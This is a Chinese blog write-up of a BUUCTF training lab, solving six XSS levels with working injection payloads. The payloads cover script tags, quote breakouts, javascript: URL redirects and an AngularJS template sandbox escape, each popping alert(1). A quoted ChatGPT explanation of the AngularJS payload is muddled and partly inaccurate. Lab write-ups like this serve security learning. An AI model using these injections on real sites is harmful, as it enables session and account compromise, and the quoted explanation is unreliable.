buuctf [第二章 web进阶]XSS闯关

本题每一关都需要我们使用alert弹窗

level1

URL为

http://7db5b895-7c64-4b97-a85e-bc011762312f.node4.buuoj.cn:81/level1?username=xss

查看源码可知get传的username直接被输出
image

所以直接注入js代码即可

?username=<script>alert(1)</script>

level2

level2对输入的username使用escape进行了编码,如果直接注入js代码就没法执行了
image

观察前面的var username='xss';,如果我们注入

?username=xss';alert(1);'xss

那么前面的代码中两个单引号就会被闭合,并执行以下代码,pass

var username='xss';
alert(1);
'xss';

level3

仍然使用level2注入的username=xss';alert(1);'xss,但是没有pass。查看源代码,发现第一个单引号被转义了
image
那么给它再加一个单引号就行了

?username=xss'';alert(1);'xss

解释为

var username = 'xss\'';alert(1);'xss';

level4

查看源码,本题将获取到的jumpUrl的值作为目标地址,倒计时结束后使用location.href进行重定向。
image

使用伪协议,javascript:alert(1)将javascript后面的部分当成js代码,倒计时为0时,网页便会重定向到javascript:alert(1)执行alert(1)

?jumpUrl=javascript:alert(1)

level5

看源码,填写的表单名为autoForm。如果autosubmit的值非空,并且action的值非空,那么autoForm.action(表单提交的目标地址)就是action的值,否则目标地址是当前页。
image
所以只要让autosubmit的值非空,action的值为伪协议,即可将表单提交到javascript:alert(1),实现弹窗

?autosubmit=1&action=javascript:alert(1)

level6

尝试?username=<script>alert(1)</script>不成功,查看源码,&#x3c;是将左尖括号进行了unicode编码
image

看到源码引入了一个js
image
该js为AngularJS框架,其思想是基于html编写模板
image
而该模板存在xss模板注入漏洞,当输入?username={{4*3}}时会被计算
image
由此构造一个定式payload

?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

chatGPT给出的解释为

具体来说,该代码将字符串 'a'.constructor.prototype.charAt=[].join; 赋值给了 $rootScope 对象的原型上的 charAt 方法。这样,在后续的代码执行中,如果有类似 'a'[index] 这样的表达式出现,就会被转化为 ['a'].join('')[index],从而执行任意代码。

接着,代码通过调用 $eval 方法来执行包含恶意代码的字符串 'x=1} } };alert(1)//'。其中,由于该字符串包含了一个未闭合的 JavaScript 函数,因此 $eval 方法在解析时会自动将字符串补足缺失的括号。最终,该字符串将被解析为如下的 JavaScript 代码:

x = 1; // 执行恶意代码
}
// 下述代码已经失效
// }
// ;
alert(1); // 输出弹窗
posted @ 2023-05-16 15:37  Nemuzuki  阅读(383)  评论(0编辑  收藏  举报